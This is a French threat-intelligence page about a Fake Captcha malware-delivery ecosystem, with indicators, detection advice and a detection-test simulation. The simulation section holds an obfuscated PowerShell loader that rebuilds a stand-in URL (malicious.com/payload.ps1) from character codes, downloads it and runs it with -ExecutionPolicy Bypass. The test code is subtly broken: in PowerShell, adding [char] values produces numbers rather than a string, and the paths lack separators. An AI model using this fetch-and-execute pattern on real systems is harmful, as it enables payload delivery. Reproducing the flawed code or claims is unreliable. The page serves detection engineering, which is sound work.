SOC Prime Bias: Moyen

27 Jan 2026 17:11

Vivre sur le Web : Comment l’Infrastructure de Confiance est Devenue une Interface de Livraison de Logiciels Malveillants

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Vivre sur le Web : Comment l’Infrastructure de Confiance est Devenue une Interface de Livraison de Logiciels Malveillants
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport examine un écosystème de « Fake Captcha » à grande échelle qui arme des interfaces de vérification web de confiance pour livrer des charges malveillantes. La similarité visuelle parmi les leurres n’est pas un signal d’attribution fiable, car le même motif frontal peut résider au-dessus de différentes chaînes d’exécution—PowerShell, VBScript, installateurs MSI, et livraison par notification push gérée par le serveur. En utilisant un hachage perceptuel de grande ampleur des captures d’écran, l’analyse cartographie comment l’écosystème est organisé et met l’accent sur la séparation entre l’interface utilisateur et le flux de travail sous-jacent de la charge utile. Il est conseillé aux défenseurs de dépasser les indicateurs cosmétiques et de donner la priorité à la détection de la logique d’exécution et de l’infrastructure.

Enquête

Censys a identifié 9 494 actifs Fake Captcha et utilisé le hachage perceptuel pour les regrouper par similarité visuelle, découvrant un cluster dominant de type Cloudflare représentant environ 70 % des sites observés. Un examen plus approfondi a révélé 32 variantes distinctes de charges utiles couvrant des scripts basés sur le presse-papiers, des installateurs basés sur MSI, et une livraison push de type Matrix Push C2. L’analyse de l’infrastructure a montré des pools de serveurs backend séparés soutenant chaque technique, avec des exemples cités incluant 95.164.53.115 et ghost.nestdns.com.

Atténuation

La détection ne devrait pas dépendre uniquement des caractéristiques des leurres visuels ou du comportement du presse-papiers. Il faut plutôt surveiller les demandes de permission de notification de navigateur inhabituelles, les motifs de téléchargement et d’exécution PowerShell ou VBScript, les lancements MSI provenant d’URLs thématiques de vérification, et le trafic réseau associé à des points de terminaison connus de Matrix Push C2. Bloquez ou isolez les pages de vérification suspectes et formez les utilisateurs à n’accorder des permissions de navigateur que sur des sites de confiance et attendus.

Réponse

Lorsqu’une page de Fake Captcha est rencontrée, alertez sur les exécutions PowerShell, VBScript, ou MSI suivantes ainsi que sur les événements de souscription aux notifications. Corrélez l’activité des points de terminaison avec les indicateurs de réseau tels que les IP et domaines malveillants référencés. Isoler les systèmes impactés, capturer la mémoire volatile, et effectuer une analyse forensique des charges utiles récupérées.

Flux d’attaque

Nous mettons encore à jour cette partie. Inscrivez-vous pour être informé

Me notifier

Exécution de simulation

Prérequis : La vérification préalable Télémetrie & Baseline doit avoir été réussie.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non relatés entraîneront un diagnostic erroné.

  • Narratif d’attaque & Commandes :
    L’attaquant doit récupérer une charge utile malveillante tout en cachant l’URL de téléchargement. Ils construisent l’URL à l’exécution en utilisant des codes de caractères, intègrent la chaîne « enc » (souvent vue dans des charges utiles encodées en Base64), puis utilisent Net.WebClient.DownloadFile pour récupérer le script. Cette technique correspond à l’accent de la règle sur « obfuscation + Net.WebClient ». Étapes :

    1. Générez l’URL de téléchargement via la reconstruction de caractères :
      $url = ([char]65+[char]108+[char]105+[char]99+[char]101+[char]46+[char]99+[char]111+[char]109) + "/malware.ps1"
    2. Créez une variable placeholder contenant la chaîne « enc » pour satisfaire le deuxième terme de détection :
      $encTag = "enc"
    3. Lancer le téléchargement :
      $wc = New-Object System.Net.WebClient
      $wc.DownloadFile($url, "$env:TEMPpayload.ps1")
    4. Exécuter la charge utile téléchargée (facultatif pour le test) :
      powershell -ExecutionPolicy Bypass -File "$env:TEMPpayload.ps1"

    La présence de Net.WebClient.DownloadFile, le mot enc, et l’utilisation de [char]::FromCharCode (via le raccourci [char]) assure que la règle se déclenche.

  • Script de test de régression :

    # -------------------------------------------------
    # Chargeur PowerShell simulé – correspond à la règle Sigma
    # -------------------------------------------------
    # 1. Reconstruire l'URL de téléchargement en utilisant des codes de caractères
    $url = ([char]104+[char]116+[char]116+[char]112+[char]115+[char]58+[char]47+[char]47+[char]109+[char]97+[char]108+[char]105+[char]99+[char]105+[char]111+[char]117+[char]115+[char]46+[char]99+[char]111+[char]109+[char]47+[char]112+[char]97+[char]121+[char]108+[char]111+[char]97+[char]100+[char]46+[char]112+[char]115+[char]49)
    # Ce qui précède épelle : https://malicious.com/payload.ps1
    
    # 2. Insérer le jeton "enc" pour satisfaire la règle de détection
    $encTag = "enc"
    
    # 3. Effectuer le téléchargement
    $wc = New-Object System.Net.WebClient
    $destination = "$env:TEMPpayload.ps1"
    $wc.DownloadFile($url, $destination)
    
    # 4. (Facultatif) Exécuter la charge utile
    # powershell -ExecutionPolicy Bypass -File $destination
  • Commandes de nettoyage :

    # Supprimer la charge utile téléchargée
    $payloadPath = "$env:TEMPpayload.ps1"
    if (Test-Path $payloadPath) {
        Remove-Item -Force $payloadPath
    }
    
    # Supprimer l'objet WebClient (la collecte de déchets est gérée automatiquement)
    Write-Host "Nettoyage terminé."